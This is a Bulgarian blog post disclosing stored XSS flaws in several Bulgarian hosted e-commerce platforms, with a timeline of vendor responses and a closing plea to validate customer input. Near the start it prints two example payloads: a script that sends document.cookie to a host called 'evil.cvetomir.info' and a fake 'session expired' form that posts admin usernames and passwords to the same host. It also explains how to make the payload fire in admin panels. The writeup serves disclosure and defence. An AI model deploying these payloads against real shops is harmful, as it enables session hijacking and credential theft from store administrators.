Критична XSS уязвимост в почти всички български платформи за ecommerce

Pregleda 7432 | Коментари

Става въпрос за системи, позволяващи създаването на електронен магазин само чрез регистрация, като магазина използва тяхната инфраструктура и всичко се прави от админ панел. За пример - Shopify.

По мои сметки, от 5 такива платформи - около ~5000 магазина са засегнати, като има доста големи компании, които са лидери в сферата си  в електронната търговия

TLDR: критична XSS уязвимост, която позволява execute-ването на malicious XSS payload в админ панела чрез полета за адрес/ имена/ данни за фактура и т.н..

Дълго се чудих дали да публикувам въпросната статия, но според мен проблема е голям и е хубаво собствениците на магазини да обърнат внимание и да валидират правилно данни подавани от клиенти.  Същото важи и за разработчиците - доста елементарен пропуск, който позволява да се правят доста бели, ако на човек му се занимава.

От 5 български компании, които успях да намеря, само в една нямаше възможност да се execut-не malicious XSS, което е доста притеснително, като се има предвид, че имат големи клиенти, а пък пропуска е доста елементарен.

Една от компаниите реши да ми изплати 100 евро bug bounty за намерения пропуск, други пък частично или изобщо не ми отговориха. Някои компании ми забраниха да и споменавам името, защото статията щяла да им навреди на репутацията, затова ще ги наричам "компания X" и т.н..


XSS с няколко думи -  позволява да се execut-не malicious payload, като най-често това става благодарение на лошо валидирани полета за информация. Има няколко вида XSS, тук няма да става въпрос за self xss ( aka: влизам в кода и си праЯ квото искам), а за critical XSS ( четете надолу защо ), който се execut-ва при администраторите на въпросните магазини.

How The Fuck?


Наскоро ми се наложи да пазарувам от един електронен магазин. Докато бях на финализиране на поръчката, когато трябва да се въведат данни за доставката ( адрес и т.н.. ) забелязах странно поведение - имената, както и адреса за доставка изобщо нямаха ограничение в дължината. Направи ми впечатление и реших да запазя сайта когато имам време да разгледам подробно. Междувременно успях да изкарам alert() в клиетнският ми профил.

След няколко дни се сетих за въпросния онлайн магазин и открих, че използва готово българско решение като платформа за магазина си. Понеже всички подобни компании искат да имат повече клиенти - предлагат demo тестов период, където можеш да тестваш и да получиш достъп до админ панела на въпросната платформа. Here we go..


Дали проблема не е само "Влизам в кода и правя квот си искам"?

Нека да видим 2 сценария за Malicious XSS, който може да направи големи поразии ако се execut-не в администраторската част на сайт.

Вариант 1- steal на document.cookie

<script>
image = new Image();
image.src='http://evil.cvetomir.info/?'+document.cookie;
</script>


Вариант 2 - inject на div, който трещи, че сесията на админа е изтекла и да си въведе данните отново. При подобни платформи е още по-лесно защото имат вече дефинирани dimmers (lock screen divs ), които могат да се извикат без да се пише излишния styling. При изпращането отиват на evil server с данните.

<div style="position:absolute;top:50%;left:50%;margin: -100px 0 0 -100px;height=100px;width=100px;z-index:1;border-width:1px;border-style:solid; border-color:#D3D3D3">
<h3>Сесията Ви е Изтекла</h3>
<form action=http://evil.cvetomir.info/evil.php>
Username:<br><input type="text" name="user"><br>
Password:<br><input type="password" name="pass"><br><br>
<input type="submit" value="Вход">
</form>
</div>

 


Компания номер 1: Компания "X"


едит: Тук ще обясня малко по-подробно в детайли откъм техническата част на XSS уязвимостта, след това няма нужда да се повтарям, проблема беше много идентичен навсякъде, единствената уловка на различните места беше да открия точно къде може да се execut-не въпросния XSS payload


След регистрацията на демо магазина, реших да си направя регистрация като клиент и да поръчам примерен продукт, за да намеря начин да trigger-на XSS в админ панела. В клиентския профил попълних няколко полета със XSS polyglot, който ако има проблем, ще изпищи с alert(). При отиване на профила си след попълване на следните полета имахме 3 XSS alert()-a един след друг. - Бинго!


Дотук е ясно, че има XSS, но доколко е опасен или critical е спорно да се каже. Идеята е да се execut-ва по някакъв начин в админ панела, където наистина могат да станат поразии.


След направена поръчка с malicious xss данни, интересното беше, не стана както очаквах - не се trigger-ваше alert() когато се отиваше в поръчките. След малко ровене из менютата, открих че се trigger-ва когато се отиде на /admin/profiles/attacker-profile  ( адреса е примерен )  както и ако се опиташ да разпечаташ фактура за дадената поръчка .

 

Първо и писах на чат съпорта, за да ги попитам на кой мейл да изпратя информация, понеже съм намерил критичен XSS. Мацката каза,че са "СИГУРНИ, че няма пропуск".. HOLD MY BEER и ми даде имейл адрес.

На 07.12 към 11 на обяд им съобщих за проблема, а само 2 часа след това ми благодариха за проблема и казаха, че са решили проблема, като са добавили фикс да не се trigger-ва XSS в админ секцията с профили, както и в отпечатването на фактурата. Направили са анализ на риска и според тях не е проблем, че клиентските профили имат XSS. ( стига да не се execut-ва в admin panel-a)


Тук ми стана интересно, що за анализ на риска би оставил XSS в клиентската част и нямаше как да не се заема по някакъв начин да изкарам отново XSS-а в админ панела. Отне ми не повече от 5 минути да разбера, че ако дадената поръчка се редактира от администратор, XSS-a винаги ще се execut-ва, този път още по-зле - дори когато се отиде в секцията на всички поръчки.
Реален сценарий след тяхното "оправяне" : правиш поръчка с malicious XSS и веднага след това звъниш до магазина и и казваш да ти променят адреса, че си объркал нещо. Воала - XSS-a ще се trigger-ва всеки път когато отидат на поръчки.
Писах им, че нищо не са оправили, дори е станало по-зле и ми отговориха след един ден, че е предадено на техническия отдел.
Досега нямам отговор, но още в първата ни комуникация, забраниха да и споменавам името. Предложиха ми и "референция" ако някой работодател поискал.  bullshit

Компания номер 2: Суперхостинг ( Shopiko )


Не искам да влизам в подробности, защото от компания номер едно ви стана ясно за какво става въпрос и за колко елементарно недоглеждане става въпрос. Проблема при тях беше същият, както и се очакваше, платформата и всъщност е много идентична с една друга компания от списъка ми :) . Тук мога само да гадая, дали работят директно с тях, или са закупили цялата платформа, всъщност няма значение, след като бъга е наличен и при тях.

На 07 Декември създадох тикет в системата им, за проблема, като ги попитах дали имат и bug bounty програма, все пак са голяма компания, претендират за сигурност и качество на услугата.
Получих отговор няколко часа по-късно от една мадама, че проблема е предаден към технически екип и ще получа отговор съвсем скоро ( да ама не ).

Мина седмица, а тикета беше затворен на следващия ден. Писах на live support-a и ме прехвърлиха към същата мацка от Shopiko, която ми обясни, че СЪС СИГУРНОСТ ще получа отговор, а пък тикетите се затваряли автоматично след 24 часа.

Вчера ( 21 Декември ) влязох пак в live support-a и ги попитах какво се случва, с моя тикет - мацката ми каза, че проблема бил отстранен... WTF.. Really - напуснах чата след като и казах, че това е несериозно.
Много лошо впечатление ми направи цялостната им поддръжка, можеха да изпратят поне един имейл, че нямат bug bounty програма, но ми благодарят. Изключително неадекватна комуникация за такава голяма компания. Споменавам ги, защото при последния ни разговор в лайв чата, и обясних, че ме интересува да зная дали проблема е решен, защото искам да си публикувам статията в блога - нищо не казаха, предполагам, че няма проблем. Ако пък имат проблем да ми напишат един имейл, ще и махна "платформата" и името от публикацията.

Компания номер 3: "Компания X" - // bug bounty : 100euro



Директно и писах за проблема и на другия ден получих отговор, че нямат bug bounty програма, но все пак са решили да reward-нат намеренето със 100 евро. След няколко дни получих парите, а проблема беше оправен сравнително бързо.


Компания 4 : Maxcart



На 7ми Декември и писах имейл. След няколко дни и писах на live support-a какво се случва, и ми казаха, че са видяли имейла и ми благодарят. Казах им да ми пишат, когато разрешат проблема, но ми отговориха с нещо от рода на - "защо трябва да Ви пишем". Ами най-малкото за да мога пак да тествам и да сте сигурни, че проблема ще е решен!
Нямам отговор до този момент.


Компания 5: X


Писах им и след около един час получих отговор, че ще се вземе отношение.  Компанията е нова, отстраниха си нещата за два дни.




Компания 6:

При тях нищо не успях да намеря, нямаше абсолютно никакъв начин да се execut-ва XSS от client към Админ. Първо мислех да ги спомена, но ще се въздържа, за да не си помисли някой, че е скрита реклама.



Изводи

Извода е ясен - никога не трябва да се доверяваш на данни, идващи от клиента.  За пример - XSS payload-a, който използвах имаше дължина от 144 символа. В някои платформи имах по 11 alert-а в /admin/products/ , тоест нито едно поле не е валидирано : имена / адреси / данни за фактура / подробност за поръчката / доп. информация и т.н..

 

 

 

 

 

Коментари

#1| Автор: Стефановден | Дата: 2018-12-27 13:02:28

Поздравления за Вашия труд. В големите софтуерни организации би трябвало всичко да е на ниво. За съжаление често maintenance и bugfixing не се заплащат. Цялата държава е на този принцип. Всеки си носи софтуерния кръст: направиш нещо, после трябва години наред да го поддържаш без да си длъжен. Ако се счупи, ти си виновен; ако някой намери пролука и я експлоатира - ти си виновен пак; не я оправиш - идват и ти сипват, че си виновен. Може би има хора, които не са си свършили работа, може би има хора, които работят твърде много и не ги възнаграждават.


За Връзка
Можете да ми пишете на remindbg @ gmail.com